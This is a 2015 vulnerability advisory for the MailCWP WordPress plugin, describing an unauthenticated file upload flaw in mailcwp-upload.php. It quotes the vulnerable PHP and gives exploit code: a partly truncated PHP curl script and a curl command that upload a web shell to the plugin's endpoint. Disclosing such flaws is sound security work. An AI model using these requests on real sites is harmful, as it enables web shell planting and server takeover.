Advisory #: 138
Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-09
CVE IDs:[CVE-2015-1000000]
Download Site: https://wordpress.org/plugins/mailcwp/
Vendor:
Vendor Notified: 2015-07-09
Vendor Contact: Contact Page via WP site
Advisory: http://www.vapidlabs.com/advisory.php?v=138
Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.
Vulnerability:
The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server: 2 $message_id = $_REQUEST["message_id"]; 3 $upload_dir = $_REQUEST["upload_dir"]; . . 8 $fileName = $_FILES["file"]["name"]; 9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); Exploitation requires the attacker to guess a writeable location in the http server root.
Export: JSON TEXT XML
Exploit Code:
'shell.php','file'=>'@'.$file_name_with_full_path); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$target_url); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $result=curl_exec ($ch); curl_close ($ch); echo "
"; echo $result; echo "
"; ?>
Screen Shots:
Notes: The vendor patch for this vulnerability only requires that the user have a login on the wordpress site before exploiting this vulnerability. curl -F "file=@/tmp/shell.pht" "http://example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1" -F "upload_dir=/usr/share/wordpress/wp-content/uploads" --cookie cookie.txt